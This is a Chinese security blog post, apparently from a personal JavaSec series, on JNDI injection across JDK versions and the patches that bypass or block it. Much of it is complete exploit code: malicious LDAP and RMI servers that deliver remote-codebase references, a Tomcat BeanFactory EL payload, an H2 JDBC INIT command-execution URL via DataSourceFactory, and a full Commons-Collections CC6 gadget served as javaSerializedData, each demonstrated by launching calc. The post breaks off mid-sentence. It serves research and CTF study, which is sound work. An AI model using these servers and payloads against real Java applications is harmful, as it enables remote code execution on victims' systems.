JavaSec 16- JNDI 那些事,高版本真的要告别了吗
最近感觉运气不是很好,改改简历看看有无工作希望,看到一篇比较有意思的 JNDI 的新利用方式,想到我好像没有做过 JNDI 比较详细的分析,还记得一年半前配 LDAP 卡了半天不想学了,不知道最近有没有心情填上我之前 JDBC Attack 那些坑,我都忘了要写什么了
前言
JNDI 部分的修复和利用层出不穷,无论是结合各种原生反序列化、yaml 反序列化,或者是 JDBC 、SSTI 都有着不错的效果,从 jdk8 到现在jdk 20 的修复和绕过此起彼伏,感觉目前的文章都比较分散,所以整合一下
JNDI 支持的协议还是比较多的,dns、rmi、ldap、ldaps 等等
前置知识
RMI
RMI 是远程方法调用的简称,能够帮助我们查找并执行远程对象的方法。通俗地说,远程调用就象将一个 class 放在 A 机器上,然后在 B 机器中调用这个 class 的方法。
从客户端-服务器模型来看,客户端程序直接调用服务端,两者之间是通过 JRMP(Java Remote Method Protocol)协议通信,这个协议类似于 HTTP 协议,规定了客户端和服务端通信要满足的规范。
LDAP
LDAP 是轻量级目录访问协议的简称,能够帮助我们从目录服务数据库中查询并检索信息。通俗地说,目录调用就象将一个电子版的“黄页电话本”放在 A 机器上,然后在 B 机器中通过姓名或属性快速查找并获取对应的信息。
是运行在 TCP/IP 协议栈上的一种用于访问和维护分布式目录信息服务的应用协议。这些目录服务可以运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。Java LDAP 这种目录访问特性使 Java 编程人员能够在网络环境中高效地管理组织结构、用户权限以及资源定位。LDAP 全部的宗旨就是提供一种工业标准的、跨平台的、且比传统数据库更快速读取的目录查询方式。从客户端-服务器模型来看,客户端程序直接向服务端发送查询请求,两者之间通过特定的 LDAP 消息协议通信,这个协议规定了客户端如何对目录中的条目进行增删改查等操作。
可以直接用 java 搭一个 ldap https://docs.ldap.com/ldap-sdk/docs/javadoc/index.html
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
</dependencies>import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}Reference
在正式分析前先简单说一下关于 Reference 的内容,在 JNDI 的设计中,并非所有对象都能直接存储在目录服务(如 LDAP 或 RMI Registry)中。
- 有些对象太大,不适合序列化传输。
- 有些对象是动态的(如数据库连接池),需要现场创建。
为了解决这个问题,Java 引入了 Reference 机制,在 javax.naming.Reference 源码中他构建起来类似这样
public class Reference implements Cloneable, java.io.Serializable {
protected String className; // 想要加载的 Class 类名
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null; // 远程加载服务器
public Reference(String className, String factory, String factoryLocation) {
this.className = className;
addrs = new Vector<>();
classFactory = factory;
classFactoryLocation = factoryLocation;
} // ... 其他
}在 JNDI 过程中这样就可能返回一个 Reference,在 RMI 中, Reference 类是从远程 RMI 服务器去获取的, 而 LDAP 的 Reference 对象是自己创建的
new InitialContext().lookup("xxx")这里通过传统老版本的 jdk 8u65 演示一下如何进行远程类加载
rmi
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:8085/mbwNhIrI");
}
}现在都不用手搓服务端了,让我们打开 yakit 直接开一个反连,然后开调简单看一下

RegistryContext.lookup

decodeObject

getObjectInstance

跟进看一下内部获取对象的过程

很明显先去看本地有没有对应的类,没有的话就去 codebase 中加载,最后再去 clas.newInstance() 实例化

这里如果我们执行写在 static 里面就会在这一步触发了,如果写在构造方法就会在下面的那个实例化去触发
javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464)
com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
javax.naming.InitialContext.lookup(InitialContext.java:417)
low.JNDI_Test.main(JNDI_Test.java:10)总结下来也就是
Lookup: 受害者连接攻击者的 RMI Registry。
Return: 攻击者的 RMI Registry 不返回序列化对象,而是返回上述的 ReferenceWrapper (对 Reference 的封装)。
Decode: 受害者的 JNDI 客户端接收到 Reference 对象。
Process: JNDI 发现这是一个 Reference,于是试图还原对象。
- 它读取
classFactory字段(即EvilObject)。 - 它在本地找不到这个类。
- 它读取
classFactoryLocation字段(即http://hacker-server.com/payload/)。
Remote Load: 受害者 JVM 向攻击者的 HTTP 服务器请求 EvilObject.class。
Instantiate & RCE: 受害者加载并实例化 EvilObject,通常写在 static 块里面。
ldap
import javax.naming.InitialContext;
public class Ldap_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("ldap://127.0.0.1:8085/mbwNhIrI");
}
}依然是用上面的 yakit,开调,进到 p_lookup -> c_lookup 看到了和之前 rmi 相似的地方 DirectoryManager.getObjectInstance()

还是进到 getObjectFactoryFromReference()

后面和之前的逻辑一样,还是根据 codebase 去加载

javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:160)
javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:417)
low.Ldap_Test.main(Ldap_Test.java:6)第一个大更新与本地工厂绕过
于 8u121/7u131/6u141 引入 trustURLCodebase 这个参数的判断,防止 rmi 协议加载远程类,同时还引入了 ObjectInputFilter 以支持反序列化过滤器,并以此来对 rmi 协议中存在反序列化的地方进行过滤,这次更新也称为 JEP290( Java Enhancement Proposal 290: Filter Incoming Serialization Data)
com.sun.jndi.rmi.object.trustURLCodebase=false于 11.0.1/8u191/7u201/6u211 引入,ldap稍晚一些,这也给后续 log4j2 留下了伏笔
com.sun.jndi.ldap.object.trustURLCodebase=false
想办法绕过这个判断
- ref 为空
- ref.GetFactoryClassLocation() 为空
- trustURLCodebase 为 true
主要想办法 Ref.GetFactoryClassLocation() 返回空,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址,如果对应的 factory 是本地代码,则该值为空,也就是我们常见的去打一个本地工厂的绕过
利用本地的类进行利用,对于本地的类也是有要求的,这个类必须是个工厂类,该工厂类型必须实现 javax.naming.spi.ObjectFactory 接口,因为在 javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对工厂类的实例对象进行了类型转换 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; 并且该工厂类至少存在一个 getObjectInstance() 方法,最后其实原生的目前看起来没有,只能通过一些比如 tomcat 或者 c3p0 一些包内的 factory 去绕过,也称为 ObjectFactory 的绕过,这里写几个比较常见的,还有其他的利用就参考浅蓝之前写的吧
BeanFactory(rmi)
org.apache.naming.factory.BeanFactory,并且该类存在于Tomcat依赖包
这个绕过方法是基于 Tomcat7 以上版本 Tomcat8.5.79 以下版本的
Tomcat 版本太低,可能会没有 BeanFactory 这个类,Tomcat 版本太高, BeanFactory 代码被修复,无法实现攻击
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>
</dependencies>服务端,利用 EL 表达式
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}使用了本地工厂去进行绕过,没什么好说的,正常调用 getObjectInstance 方法即可
JavaBeanObjectFactory(rmi)
为了方便后面直接打反序列化我们直接把 cc 也导入进来
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>暂时不是很想分析这个,同样是一个打本地工厂的 rmi 绕过,只不过是构造上特殊了一些
服务端,poc String 填一个十六进制的反序列化的链子就好
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JavaBeanObjectFactoryRmi {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"com.mchange.v2.naming.JavaBeanObjectFactory", null);
String poc = "";
ref.add(new StringRefAddr("userOverridesAsString", "HexAsciiSerializedMap:" +poc+";"));
Registry registry = LocateRegistry.createRegistry(7777);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("KaADtxYx", referenceWrapper);
}
}DataSourceFactory(ldap)
先给出环境配置以及 poc,主要打的还是 tomcat jdbc +h2 RCE,也就是24年京麒 CTF 的题目环境
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.83</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jdbc</artifactId>
<version>9.0.83</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>9.0.83</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.1.214</version>
</dependency>import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Properties;
public class DataSourceFactoryLDAP {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[LDAP] Listening on 0.0.0.0:1389");
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
public static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
String base = searchResult.getRequest().getBaseDN();
Entry e = new Entry(base);
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory");
String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')";
e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"});
try {
searchResult.sendSearchEntry(e);
searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}看一下 ldap 是怎么 decodeObject 的,最上面这个就是 ldap 特有的能携带反序列化数据去打的特性(这个低版本还没有修复这里),但我们这里先尝试本地工厂绕过,正常打低版本的远程加载是走第三个分支
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])var1.get(), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}关注一下 decodeRmiObject ,只返回了 javaClassName ,javaRemoteLocation 没有我们想要的 factory 所以打不了
private static Object decodeRmiObject(String var0, String var1, String[] var2) throws NamingException {
return new Reference(var0, new StringRefAddr("URL", var1));
}继续看第三个分支的 decodeReference,需要满足 attrs["objectClass"]=="javaNamingReference" ,需要在 ldapserver 端塞进去
这里会 new 一个 Reference 最后返回

进到后面 DirectoryManager.getObjectInstance 加载我们的 factory


利用 javaReferenceAddress 的一个解析操作,把
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));变成了数组
String[] javaReferenceAddress = {"/0/driverClassName/org.h2.Driver", "/1/url/JDBC_URL", "/2/username/root", "/3/password/password", "/4/initialSize/1", "/5/init/true"};最后触发 DataSource 的 getObjectInstance 去触发 h2 RCE

org.apache.tomcat.jdbc.pool.DataSourceFactory.createDataSource(DataSourceFactory.java:562)
org.apache.tomcat.jdbc.pool.DataSourceFactory.getObjectInstance(DataSourceFactory.java:244)
javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:193)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1114)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:409)第二个大更新
trustSerialData = false在 jdk11中,新增了 com.sun.jndi.ldap.object.trustSerialData 开关,但一直默认为 true,一直到 jdk20,才改为默认为false。它影响着rmi和ldap的大多数反序列化入口。
先来看一下老版本这个是如何打的,记得提前加个 cc 依赖进去,将序列化值放入 ByteArrayOutputStream 这个数组中, 然后使用 ByteArrayOutputStream 导出的结果绑定在 javaSerializedData 属性中即可
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.unboundid.ldap.sdk.Attribute;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.util.HashMap;
public class DeserLdapServer {
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; // 配置 IP
Integer port = 3890; // 配置端口
InMemoryDirectoryServer server = initServer(ip, port); // 初始化服务器
addEntry(server); // 进行添加条目等操作.
System.out.println("LDAP Listening...");
}
public static InMemoryDirectoryServer initServer(String ip, Integer port) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=heihu577,dc=com"); // 创建 DC
config.setSchema(null);
// 配置监听器
InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
"ldap",
InetAddress.getByName(ip), // 监听 IP
port, // 监听端口
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
);
config.setListenerConfigs(listenConfig); // 将配置信息放入进来
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening(); // 创建并启动 LDAP 服务器
return ds;
}
public static void addEntry(InMemoryDirectoryServer server) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(CC6("calc"));
server.add("dc=heihu577,dc=com",
new Attribute("javaClassName", "任意值"),
new Attribute("objectClass", "javaNamingReference"),
new Attribute("javaSerializedData", byteArrayOutputStream.toByteArray()), // 反序列化链路
new Attribute("javaFactory", "任意值")
);
}
public static Object CC6(String cmd) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{cmd}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
return hsMap;
}
}import javax.naming.InitialContext;
public class Ldap_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("ldap://127.0.0.1:3890/dc=heihu577,dc=com");
}
}调一下看看,其实就是进 decodeObject 我们之前说的那个分支一



绕过也没什么太好的方法,之前 DataSource 那种 Objectfactory 已经算是不错的
第三个大更新
于 JDK20 引入防止非内置 ObjectFactory 的过滤器,其实现在 oraclejdk 8u471/11.0.29/17.0.17 也开始修复了
jdk.jndi.rmi.object.factoriesFilter=com.sun.jndi.rmi.**;
jdk.jndi.ldap.object.factoriesFilter=com.sun.jndi.ldap.**;默认只允许使用 jdk 原生的 ObjectFactory,第三方 ObjectFactory bypass 不可行了,目前为止唯一的漏网之鱼是 rmi 协议中的StreamRemoteCall.executeCall(),这个直接放在下一章节写
JNDI + RMI 二次反序列化
为了这盘醋包的饺子,现在终于到饺子的部分了,要理解这个我们需要先深入 RMI 通信过程,呃上次学这个还是一年半前,全都忘记了,尽量精炼重要部分吧
RMI 原理简述
- Stub(客户端代理):客户端的本地代理,将方法调用转换为网络请求并处理返回结果。
- Skeleton(服务端代理):服务端的接收者,解析请求并调用实际远程对象的方法。
- RemoteRef(远程引用层):管理远程对象的引用和通信细节。
- RemoteCall(远程调用对象):封装远程调用的传输内容,负责网络数据交换。
具体流程:
- 初始化
- 服务端注册远程对象:服务端创建对象实例(继承
java.rmi.Remote),通过Naming.rebind()或Registry.bind()将远程对象绑定至 RMI 注册表(Registry),注册表默认监听端口 1099 - 客户端获取远程引用:客户端调用
Naming.lookup("rmi://host:port/service"),触发 RMI 注册表查询。注册表返回远程对象的 Stub(动态生成的代理类,RegistryImpl_Stub),Stub 封装了远程对象的方法元数据和网络地址。
- 服务端注册远程对象:服务端创建对象实例(继承
- 远程方法调用
- Stub 发起调用:客户端调用 Stub 的远程方法,Stub 委托
RemoteRef(远程引用层,如UnicastRef)构建 RemoteCall 对象(包括:目标方法的方法名,参数类型和 序列化后的方法参数)。 - 传输:
RemoteRef通过 Socket 连接将 RemoteCall 的序列化字节流发送至服务端。
- Stub 发起调用:客户端调用 Stub 的远程方法,Stub 委托
- 服务端处理
- Skeleton 处理请求:服务端
RemoteRef(如UnicastServerRef)接收字节流,第一次反序列化( 解析字节流的协议头部 ,确定目标对象标识符(ObjID)和操作类型)后生成 RemoteCall 对象。将 RemoteCall 传递给对应的 Skeleton(如RegistryImpl_Skel)。Skeleton 通过dispatch()方法进行 二次反序列化( 按协议规范逐层解析字节流 )解析请求类型(如bind、list、lookup、rebind、unbind或方法调用) - 反射执行真实方法:Skeleton 从 RemoteCall 中提取方法签名和参数,通过 Java 反射机制调用服务端实现类的对应方法。
- Skeleton 处理请求:服务端
- 结果返回
- 序列化与回传:服务端将方法执行结果(或异常)序列化,封装为新的 RemoteCall 对象,通过 Socket 连接将结果字节流返回客户端。
- 客户端反序列化:客户端
RemoteRef接收字节流,反序列化为 Java 对象。若结果为远程对象引用(如另一服务的 Stub),客户端后续通过该 Stub 发起嵌套调用。
概括
整个 RMI 通信过程可以概括为:客户端调用 Stub => Stub 打包消息 => Stub 发送消息 => 服务端 Skeleton 接收消息 => Skeleton 解包消息 => Skeleton 调用远程对象 => 远程对象执行方法 => 远程对象返回结果 => Skeleton 打包结果 => Skeleton 发送结果 => 客户端 Stub 接收结果 => Stub 解包结果 => 客户端获得最终结果。
这里直接使用最新的 jdk8u471 来调试
当我们使用 rmi 协议攻击时,会走到 RegistryImpl_Stub#lookup

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();
} catch (IOException | ClassNotFoundException | ClassCastException var13) {
var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}可以看到 var20 = (Remote)var4.readObject(); 有一个反序列化操作,这里有没有可能直接触发呢,毕竟也没有 filter 什么的限制
我们跟进到 this.ref.invoke(var2); 看一些里面核心 executeCall() 的实现
// sun.rmi.transport.StreamRemoteCall.executeCall()
public void executeCall() throws Exception {
DGCAckHandler var2 = null;
byte var1; // 用于存储“返回类型” (1=正常, 2=异常)
try {
// --- 1. 发送请求阶段 ---
// 如果有 DGC (分布式垃圾回收) 的 ACK 处理器,先获取它
// DGC 是 RMI 保持对象引用的机制,JRMPListener 攻击常利用 DGC 触发回调,这个在之前被利用去绕过但是现在修复了
if (this.out != null) {
var2 = this.out.getDGCAckHandler();
}
this.releaseOutputStream();
// --- 2. 接收响应头阶段 ---
// 开始读取服务端的响应流
DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
// 读取 1 个字节:传输层返回码 (Transport Return Code)
byte var4 = var3.readByte();
// 81 (十六进制 0x51) 对应 TransportConstants.Return
// 这表示服务端成功接收了请求,现在开始返回结果
if (var4 != 81) {
// 如果不是 81,说明底层传输协议出错了
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
}
throw new UnmarshalException("Transport return code invalid");
}
// 获取反序列化专用的输入流 (ConnectionInputStream)
// 这一步通常会建立 ObjectInputStream
this.getInputStream();
// 读取 1 个字节:结果返回类型 (Return Type)
// 这里的 var1 决定了后面是正常反序列化返回值,还是反序列化异常
var1 = this.in.readByte();
this.in.readID();
} catch (UnmarshalException var11) {
throw var11;
} catch (IOException var12) {
throw new UnmarshalException("Error unmarshaling return header", var12);
} finally {
// 清理 DGC ACK 处理器
if (var2 != null) {
var2.release();
}
}
// --- 3. 处理响应结果阶段 (关键漏洞点) ---
switch (var1) {
case 1:
// 1 对应 TransportConstants.NormalReturn
// 表示方法执行成功,也是之前常用的方法会走到这里
// 此时方法直接 return,调用者后续会调用 in.readObject() 来获取真正的返回值
return;
case 2:
// 2 对应 TransportConstants.ExceptionalReturn
Object var14;
try {
// 既然服务端说抛异常了,客户端就必须把这个异常对象反序列化出来,才能抛给上层调用者看。
// 恶意服务端在这里发送恶意的 Gadget 对象,而不是真正的 Exception 对象。
// 只要代码执行到这里,readObject() 就会触发
var14 = this.in.readObject();
} catch (Exception var10) {
// 如果反序列化过程中出错,丢弃剩余数据并抛出异常
this.discardPendingRefs();
throw new UnmarshalException("Error unmarshaling return", var10);
}
if (!(var14 instanceof Exception)) {
this.discardPendingRefs();
throw new UnmarshalException("Return type not Exception");
} else {
this.exceptionReceivedFromServer((Exception)var14);
}
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
}
throw new UnmarshalException("Return code invalid");
}
}分析写在注释了,可以看到如果我们控制服务端去返回恶意的对象去触发到 case2 就会触发 var14 = this.in.readObject();
所以我们需要修改一下 rmi 服务端,这里用到 java agent ,如果熟悉那些 agent 内存马或者 rasp 的一定对这个不陌生
修改的部分主要有两个
- RegistryImpl - 将 bindings 字段类型从Hashtable <String,Remote> 改为 Hashtable
